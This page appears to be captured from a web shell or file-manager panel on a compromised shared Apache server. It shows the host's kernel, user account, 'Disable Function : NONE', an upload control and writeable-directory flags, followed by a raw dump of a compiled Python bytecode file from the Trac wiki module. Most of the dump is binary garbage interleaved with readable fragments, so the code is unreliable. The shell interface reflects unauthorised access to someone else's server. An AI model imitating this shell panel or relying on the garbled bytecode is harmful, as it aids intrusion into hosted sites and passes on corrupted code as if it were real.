https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/trac/wiki/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/trac/wiki/__pycache__/web_ui.cpython-310.pyc
o

�k�`ފ�@spddlZddlZddlmZmZddlmZddlTddlm	Z	m
Z
ddlmZm
Z
ddlTddlmZmZmZddlmZdd	lmZmZdd
lmZmZddlmZddlmZdd
lm Z m!Z!ddl"m#Z#m$Z$ddl%m&Z&m'Z'ddl(m)Z)m*Z*m+Z+m,Z,m-Z-m.Z.m/Z/m0Z0m1Z1m2Z2m3Z3m4Z4ddl5m6Z6m7Z7m8Z8ddl9m:Z:m;Z;ddl<m=Z=Gdd�de>�Z?Gdd�de>�Z@dS)�N)�AttachmentModule�
Attachment)�	IntOption)�*)�IContentConverter�Mimeview)�IPermissionPolicy�IPermissionRequestor)�
ISearchSource�
search_to_sql�shorten_result)�ITimelineEventProvider)�as_int�get_reporter_id)�from_utimestamp�
to_utimestamp)�tag)�shorten_line)�_�tag_)�get_diff_options�diff_blocks)�HTTPBadRequest�IRequestHandler)�Chrome�INavigationContributor�ITemplateProvider�	accesskey�add_ctxtnav�add_link�
add_notice�
add_script�add_stylesheet�add_warning�prevnext_nav�web_context)�IWikiPageManipulator�
WikiSystem�validate_page_name)�	format_to�OneLinerFormatter)�WikiPagec@sXeZdZeeeeeee	e
�ee�Z
ejZedddd�Zedddd�Zedd	��Zed
d	��ZdZdZd
d�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Z dd �Z!dKd"d#�Z"d$d%�Z#d&d'�Z$d(d)�Z%d*d+�Z&d,d-�Z'd.d/�Z(dLd1d2�Z)d3d4�Z*dMd7d8�Z+d9d:�Z,d;d<�Z-d=d>�Z.d?d@�Z/dAdB�Z0dCdD�Z1dEdF�Z2dGdH�Z3dIdJ�Z4d0S)N�
WikiModule�wiki�max_sizeiz-Maximum allowed wiki page size in characters.�default_edit_area_height�zODefault height of the textarea on the wiki edit page.
        (//Since 1.1.5//)cC�tjS�N)r'�
START_PAGE��self�r6�2/usr/lib/python3/dist-packages/trac/wiki/web_ui.py�<lambda>@�zWikiModule.<lambda>cCr1r2)r'�TITLE_INDEX_PAGEr4r6r6r7r8Ar9zPageTemplates/�DefaultPageccs�dtd�ddddfVdS)N�txtz
Plain Text�text/x-trac-wikiz
text/plain�	)rr4r6r6r7�get_supported_conversionsGs�
�z$WikiModule.get_supported_conversionscCs|dfS)Nztext/plain;charset=utf-8r6)r5�req�mimetype�content�keyr6r6r7�convert_contentKszWikiModule.convert_contentcCsdS)Nr-r6�r5r@r6r6r7�get_active_navigation_itemP�z%WikiModule.get_active_navigation_itemccs��d|�|j|j�vrddtjtd�|j��t|d�d�fVd|�|jd�vr?dd	tjtd
�|j�d�t|d�d�fVdSdS)N�	WIKI_VIEW�mainnavr-�Wiki�)�hrefr�	TracGuide�metanav�helpz
Help/Guide�)	�perm�realmr3r�arrLr-rrEr6r6r7�get_navigation_itemsSs����
��zWikiModule.get_navigation_itemscCsgd�}|d|fgS)N)�WIKI_CREATE�WIKI_DELETE�WIKI_MODIFY�WIKI_RENAMErH�
WIKI_ADMINr6)r5�actionsr6r6r7�get_permission_actions_sz!WikiModule.get_permission_actionscCs4t�d|j�}|r|�d�r|�d�|jd<dSdS)Nz/wiki(?:/(.+))?$rK�page)�re�match�	path_info�group�args)r5r@r^r6r6r7�
match_requestfs
�zWikiModule.match_requestc	Cs�|j�dd�}|j�d|j�}d}|j�d�r|j�d�}|j�d�}|�d�s1|�d�s1d|vrDt�dd|�d��}|�	|j
�|��t|�sPt
td	|d
���t|j|�}t|j||�}|�|j��d�|rw|j|krwttd||jd
���t|d�|jdk�r|dkr�d|jvr�|�	|j
�|j��||jk}dD]}	|	|jvr�|	}nq�|j�d�|_|�||�}
|dkr�|s�|
r�|�||�S|�||||�S|dkr�|�||�dS|dkr�|�||�dS|dkr�|�||�S|dk�rt |�\}}}
|
dd}|�	|j
j|jd|||�p
dd��dSt!td���|dk�r$|�"||�S|dk�r/|�#||�S|dk�r:|�||�S|dk�rE|�$||�S|dk�rP|�%||�S|dk�r[|�&||�S|j�d�}|�rrt'|j��(|d|j||j�|�)||�S)N�action�viewr\�version�old_version�/z//�/{2,}z!Invalid Wiki page name '%(name)s'��namerHz-No version "%(num)s" for Wiki page "%(name)s"��numrjzcommon/css/wiki.css�POST�edit�cancel)�preview�diff�merge�text�edit_comment�delete�renamerq�options�
contextall)rcrfrerxzInvalid request arguments.�history�formatr=)*ra�getr3�getint�
startswith�endswithr]�sub�strip�redirectrLr-r(�	TracErrorrr+�envrQ�resource�requirere�ResourceNotFoundrjr"�methodrs�	_validate�_do_save�_render_editor�_do_edit_comment�
_do_delete�
_do_renamerr�_render_confirm_delete�_render_confirm_rename�_render_edit_comment�_render_diff�_render_historyr�send_converted�_render_view)r5r@rc�pagenamererfr\�versioned_page�
has_collisionrS�valid�stylerw�	diff_datarxrzr6r6r7�process_requestms����



�
�
�





�zWikiModule.process_requestcCsgSr2r6r4r6r6r7�get_htdocs_dirs�rGzWikiModule.get_htdocs_dirscCst�dd�gS)Nz	trac.wiki�	templates)�
pkg_resources�resource_filenamer4r6r6r7�get_templates_dirs�szWikiModule.get_templates_dirsc	Cs�d}t|j�dd��|jkrt|td|jd��d}|jD](}|�||�D]\}}d}|r;t|tdt	�
|�|d��q%t|td	|d
��q%q|S)NTrs�z@The wiki page is too long (must be less than %(num)s characters)�rlFz5The Wiki page field %(field)s is invalid: %(message)s)�field�messagezInvalid Wiki page: %(message)s)r�)�lenrar{r.r#r�page_manipulators�validate_wiki_pagerr�strong)r5r@r\r��manipulatorr�r�r6r6r7r��s&�

�
��
zWikiModule._validater�cCs*t|j|j�}|r|d|7}|||d�S)Nz (%s))r\rc�title)�get_resource_summaryr�r�)r5r@r\rcr�r6r6r7�
_page_data�szWikiModule._page_datacs�t��\}}}	d}
|D]}|�d�rt|dd��}
nq|
dkr#d}
t|||
d|vd|vd|vd�}d���fd	d
�	}
|g|
||�|
|�d�g}t�d�t�d
�|	|fS)N�z-U�rz-Bz-iz-b)�context�ignore_blank_lines�ignore_case�ignore_space_changescsBt�j�j�|ptd�|p|d|r�jj�j|d�d�Sdd�S)Nzcurrently editedrK�re)�path�rev�shortrevrL)�get_resource_namer�r�rrLr-rj)�v�last�r\r@r5r6r7�version_info�s

���z.WikiModule._prepare_diff.<locals>.version_info)�diffs�props�new�oldzcommon/css/diff.csszcommon/js/diff.js)r)rr}�intrr"r!)r5r@r\�old_text�new_textrf�new_version�
diff_style�diff_optionsr��diff_context�optionr�r��changesr6r�r7�
_prepare_diff�s,
���

zWikiModule._prepare_diffcCs�|�|j��d�|j�d�}d}}|dkr|j}|d}|jj|j|||d�}d|jvr3|�	|�|j�d�}|�
|�t|td|j|jd	��|�	|�dS)
NrY�redirect_torqrK)rcrerfro�new_commentzIThe comment of version %(version)s of the page %(name)s has been updated.�rerj)
rQr�r�rar{rerLr-rjr�rtr r)r5r@r\r�rerf�
redirect_hrefr�r6r6r7r�s"�


�zWikiModule._do_edit_commentcCs>|�|j��d�d|jvr|�t|j|j|j��|j�d�}|j�d|�}|jj	�%|rD|rD||krDt
||�D]	}|�|d�q9n|�|�Wd�n1sSwY|jsot
|td|jd��|�|j���dS|r�|r�||dkr�t
|td|d||jd	��nt
|td
||jd��|�|j�|j��dS)NrVrorerfrKz#The page %(name)s has been deleted.rizHThe versions %(from_)d to %(to)d of the page %(name)s have been deleted.)�from_�torjz>The version %(version)d of the page %(name)s has been deleted.r�)rQr�r�rar��get_resource_urlr�rLr|�db_transaction�rangeru�existsr rrjr-)r5r@r\rerfr�r6r6r7r�s4

�
��	�
��zWikiModule._do_deletecCs�|�|j��d�d|jvr|�t|j|j|j��|j|j	}}|j�
dd�}t�dd|�
d��}|j�
d�}d}|sAtd�}nt|�sJtd	�}n||krStd
�}n
t|j|�jr`td|d�}|rnt||�|�|||�S|jj�.}|�|�|r�t|j|�}	td
|d�|	_t|�}
d||||f}|	�|
|�Wd�n1s�wYt|td||d��|r�t|td||d��|�|j�|r�|n|��dS)NrXro�new_namer�rhrgr�z%A new name is mandatory for a rename.zWThe new name is invalid (a name which is separated with slashes cannot be '.' or '..').z1The new name must be different from the old name.z!The page %(name)s already exists.rizSee [wiki:"%(name)s"].u"[wiki:"%s@%d" %s] → [wiki:"%s"].z7The page %(old_name)s has been renamed to %(new_name)s.)�old_namer�zIThe page %(old_name)s has been recreated with a redirect to %(new_name)s.)rQr�r�rar�r�r�rLrjrer{r]rr�rr(r+r�r#r�r�rvrsr�saver r-)r5r@r\r�rfr�r��warn�db�redirection�author�commentr6r6r7r�8sP






���
��zWikiModule._do_renamec	Cs�|js
|�|j��d�n	|�|j��d�d|�|j�vr&td|jv�|_z|�t|d�|j�	d��Wnt
yKt|td��|�
||�YSw|jj|jd|jd	�}t|td
|jtjtd�|d�d��|�t|j|j|jdd
��dS)NrUrW�WIKI_CHANGE_READONLY�readonlyr�r�z*Page not modified, showing latest version.rq�rcrez?Your changes have been saved in version %(version)s (%(diff)s).�rL)rerqr�)r�rQr�r�r�rar�r�rr{r�r#rr�rLr-rjrer rrrSr�r�r�)r5r@r\rLr6r6r7r�fs&���zWikiModule._do_savec
Cs:|�|j��d�d}d|jvr|j�dd�}|j�d|�}|r*|r*||dkr*dn|r.dnd	}d}d}d}|��D],\}	}
}}|d	ksH|	|krN|durN|
}|dkrV|	|ks^|dkr`|dkr`n|d7}|
}q:|�||d
�}
t�|j	|j
|j�}|
�|dd|||t
|�d��|dur�|
�||d��|�||�d
|
fS)NrV�delete_versionrerrfrK�multiple�singler\ru)�whatr�rf�num_versions�new_date�old_date�attachments)r�rfzwiki_delete.html)rQr�r�rar|�get_historyr�r�selectr�rRrj�update�list�
_wiki_ctxtnav)r5r@r\rerfr�r�r�r�r��tr�r��datar�r6r6r7r�~s@
�
��z!WikiModule._render_confirm_deleteNcCsJ|�|j��d�|�||d�}|dur|n|j|d<|�||�d|fS)NrXrvr�zwiki_rename.html)rQr�r�r�rjr�)r5r@r\r�r�r6r6r7r��s
z!WikiModule._render_confirm_renamecCsN|jsttd|j�d�|jd���|j�d�}|r;||jkr!d}n||jkr;|jj}t	|j
|j|�}|�|j��d�t	|j
|j�}|�|j��d�|j}d}}}d}	d}
}|�
�D]0\}}
}}||krs|
}|pmd}|pqd}q^||kr�|	d	7}	|
s|}
|dus�||kr�|}nq^|}q^|s�d}t	|j
|j|�}|�|j��d�|j��}|j��}|�||||||�\}}|
r�t|d
|jj|jd|
d�td
|
d��t|d|jj|jdd�td��|r�t|d|jj|jd|d�td
|d��|�||d�}|�|||d�|||j|	dd||d|�|j�vd�
�t|td�td�td��d|fS)Nz1Version %(num)s of page "%(name)s" does not existrerkrfrHr�	anonymousz--rK�prevrqr��Version %(num)sr��upry�rczPage history�next)�dater�r��Versionr�rY)
�changer�rf�latest_version�num_changes�longcol�shortcolr�rq�can_edit_commentzPrevious ChangezNext ChangezWiki Historyzwiki_diff.html)r�r�rrar{rjr|rer�r+r�rQr�r�rs�
splitlinesr�rrLr-r�r�r$)r5r@r\rf�latest_pager�r�r�r�r��prev_version�next_versionrer�rS�c�old_pager�r�r�r�r�r6r6r7r��s��


�

��
���
�
�
�zWikiModule._render_diffrnFcsP|r|dkrt|j|j�}��|j��d�nd}|js&��|j��d�n	��|j��d�|j}�j�	dd�}d�jvrF�j�	d�|_ned	�jvry�j�	d	�}|�
d
�r\|dd�n|j|}t|j|�}|rx|jrxd��|j�vrx|j|_n2d�jvr�d}	�j�	d�r��j�d�}	|	dur�t|j|j|	�}
��|j��d�|
j|_t
d
|	d�}|dvr�d�jv|_t�d�}dt|j�i���fdd�dD�}d�jvr�j�	d�p�d}
|
|dkr�j�dtt|
��d�n|d}
|
�rtt|d�t|j���d�}n�j�	d�}|�r||dk�r�j�d|�d�n|d}|��||�}t�|j�}|�|||||
�j�	dd�dt|j��|�d��|dv�r}|�rT|��ng}|j�r_|j��ng}|��||||jd�\}}|�||d|dkdd d!��n|
�r�|dk�r�d|d"<|� �|�t!|j��"��t!|j��#��t$�d#�d$|fS)%NrrrH�	collisionrUrWr�r�rs�templatergrKrez Reverted to version %(version)s.r�)rprqr�r��editrowsc	s&i|]}|�j�d|��|���qS)zwiki_%s)�sessionr{)�.0rC��defaultsr@r6r7�
<dictcomp>s�z-WikiModule._render_editor.<locals>.<dictcomp>)r�
sidebyside�from_editorr�wiki_sidebysider�
wiki_editrows�scroll_bar_pos)r�r�r��	edit_rowsrrrqr�)rqrrrpr�r�)rqr�rcrrr�r�rc�common/js/wiki.jszwiki_edit.html)%r+r�rjrQr�r�r�rsrar{r}�PAGE_TEMPLATES_PREFIXrrr�r�strr/r�setr��bool�maxr�r�r�r%r�r�attachment_datar�rer�r�add_wiki_toolbars�add_auto_previewr!)r5r@r\rcr��
original_textr�r�
template_pagererr��prefsrrr�r�r�r�r�r�r6rr7r��s�

�
�
�
�
��
���

�
�
zWikiModule._render_editorcCsL|�|j��d�|�||d�}|�d|j�dd�i�|�||�d|fS)NrYrtr�ryzwiki_edit_comment.html)rQr�r�r�r�rar{r�)r5r@r\r�r6r6r7r�Os
zWikiModule._render_edit_commentc	Cs�|jsttd|jd���|�||d�}g}|��D]\}}}}|�||||p'dd��q|�||jd|�	|j�vd��t
|td|jd	�|j�|j��d
|fS)z�Extract the complete history for a given page.

        This information is used to present a changelog/history for a given
        page.
        zPage %(name)s does not existriryr�)rer�r�r�rY)ryr�r�zBack to %(wikipage)s)�wikipagezhistory_view.html)
r�r�rrjr�r��appendr�r�rQrrLr-)	r5r@r\r�ryrer�r�r�r6r6r7r�Vs(
���zWikiModule._render_historycs�|jj}|jr't�j��d�D]}�jj|j||j	d�}t
�d||j|j�q���|�}|j�j
kr7d|d<t�j��t�|j�}gg}}	|js�d��|j�vr[ttd|jd���t�j|��d	|jvr�|j�d	�}
tt|
�d
dd�D]#}d	�|
d|�|
dg������s�|����dd	��d
��qvn|j��������fdd��jD�}	|	����fdd�|	D�}	t�j|j�}d}
}|r�t|d�}|dur�|� �D]}|d}||kr�||kr�|
s�|}
nq�|}qֈj!����fdd���"��D�}|
�rt
�d�jj|j|
d�td|
d��d}|�r*t
�d�jj|jdd�td��n d	|jv�rJ|jd|j�#d	��}t
�d�jj|dd�td��|�r_t
�d�jj|j|d�td|d��|�rpt$�td�td�td��n|�rt%�td��j�|����&�|�d|j'i}�j(D]
}|�)�||��q�|�*dd�}|�+|||jt,�j��-|��j
�j.||||	d �j/�*d!�d"��t0�d#�d$|fS)%Nr=)rerz�	alternater�r�rUzPage %(name)s not foundrirgr����r-Fcs.g|]}�|��vrd���j|�vr|�qS)rH)�lowerrQrR�r�each)rjr@r5r6r7�
<listcomp>�s
�z+WikiModule._render_view.<locals>.<listcomp>c	s"g|]
}���dd||d��qS)r-rgF)�_format_linkr")�	formatter�wsr6r7r$�s
��rcs.g|]}d���j|�vr|t��d��qS)rHN)rQrRr�)rr)�prefixr@r5r6r7r$�s
�r�r�r�r�r�zView latest versionzView parent pager�zPrevious VersionzNext VersionzView Latest Version�Uprszwiki_page_path.html�wiki_fullwidth)r�rsr�r��
start_page�default_templater�re�higher�related�resourcepath_template�	fullwidthrzwiki_view.html)1r�rer�rr�r?rLr-rjrCr�in_mimetyper�r3r'r%rQr�rr*�splitr�r��join�has_pagerr%r!�pages�sortr+rr�r�	get_pages�rindexr$rr�rsr��prepare_wiki_pager{r�rr�DEFAULT_PAGE_TEMPLATErr!)r5r@r\re�
conversion�conversion_hrefr�r�r-r.�parts�ir�r�r�histr�r��parent�fieldsr�rsr6)r&rjr(r@r5r'r7r�rs����

�


����
���
���
��


�

zWikiModule._render_viewcCs�d|�d|j�vrt|td�|j�|j��d|�d|j�vr,t|td�|j�|j��|jr@t|td�|jj|jdd��dSdS)	z$Add the normal wiki ctxtnav entries.rHr-z
Start Page�Index�Historyryr�N)	rQr3rrrLr-r:r�rj)r5r@r\r6r6r7r��s��zWikiModule._wiki_ctxtnavcc�"�d|jvrdtd�fVdSdS)NrHr-zWiki changes�rQrrEr6r6r7�get_timeline_filters���
�zWikiModule.get_timeline_filtersc
cs��d|vrIt|j�}|j�dt|�t|�f�D] \}}}}	}
|||
d�}d|�|�vr,qdt|�|	||ffVqt|j��||||�D]}|VqCdSdS)Nr-z�
                    SELECT time, name, comment, author, version FROM wiki
                    WHERE time>=%s AND time<=%s
                    )�idrerH)	�ResourcerRr��db_queryrrQrr�get_timeline_events)
r5r@�start�stop�filters�
wiki_realm�tsrjr�r�re�	wiki_page�eventr6r6r7rK�s$�
�
�
��
zWikiModule.get_timeline_eventsc	Cs�|d\}}|dkr|jj|j|jd�S|dkr2t�t|j|��}|jdkr,td|d�Std|d�S|d	krbt	|jd|j
|d
�|�}|jdkr`|jj|j|jdd�}t|d
tjtd�|d�d�}|SdS)Nr��urlr�r�rKz%(page)s edited)r\z%(page)s created�description)r�rq)rercz (r��))
rLr-rHrer�emr�r�rr)�childrSr)	r5r�r�rRrQr�rj�markup�	diff_hrefr6r6r7�render_timeline_events*
�

���z WikiModule.render_timeline_eventccrD)NrHr-rJrErEr6r6r7�get_search_filtersrGzWikiModule.get_search_filtersc	cs��d|vrdS|jj�J}t|gd�|�\}}t|j�}|d||�D]+\}}	}
}||d�}d|�|�vrMt|j||j�d|t|�ft	|	�|
t
||�fVq"Wd�n1sXwYt|j��|||�D]}
|
VqgdS)Nr-)zw1.namez	w1.authorzw1.texta
                    SELECT w1.name, w1.time, w1.author, w1.text
                    FROM wiki w1,(SELECT name, max(version) AS ver
                                  FROM wiki GROUP BY name) w2
                    WHERE w1.version = w2.ver AND w1.name = w2.name
                    AND )rHrHz%s: %s)
r�rJrrIrRrQr�rLrrrr�get_search_results)r5r@�termsrNr��	sql_queryrarOrjrPr�rsr\�resultr6r6r7r\ s8�

�
��
����
��zWikiModule.get_search_results)r�r2)rnF)5�__name__�
__module__�__qualname__�
implementsrrr	rr
r
r�ExtensionPointr&r�r'rRrr.r/�propertyr3r:rr:r?rDrFrTr[rbr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rFrKrZr[r\r6r6r6r7r,.s^���R
!.
$
KZrr,c@s&eZdZdZee�ejZdd�ZdS)�DefaultWikiPolicyz�Default permission policy for the wiki system.

    Wiki pages with the read-only attribute require `WIKI_ADMIN` to delete,
    modify or rename the page.
    cCsb|r'|j|jkr)|dkrd||�vS|dvr+t|j|�}|jr-d||�vr/dSdSdSdSdSdS)Nr�rY)rVrWrXF)rRr+r�r�)r5rc�usernamer�rQr\r6r6r7�check_permissionGs�z"DefaultWikiPolicy.check_permissionN)	r`rarb�__doc__rcrr'rRrhr6r6r6r7rf:s
rf)Ar�r]�trac.attachmentrr�trac.configr�	trac.core�trac.mimeview.apirr�	trac.permrr	�
trac.resource�trac.searchr
rr�trac.timeline.apir
�	trac.utilrr�trac.util.datefmtrr�trac.util.htmlr�trac.util.textr�trac.util.translationrr�trac.versioncontrol.diffrr�trac.web.apirr�trac.web.chromerrrrrrr r!r"r#r$r%�
trac.wiki.apir&r'r(�trac.wiki.formatterr)r*�trac.wiki.modelr+�	Componentr,rfr6r6r6r7�<module>s:8

https://t.me/RX1948 - 2025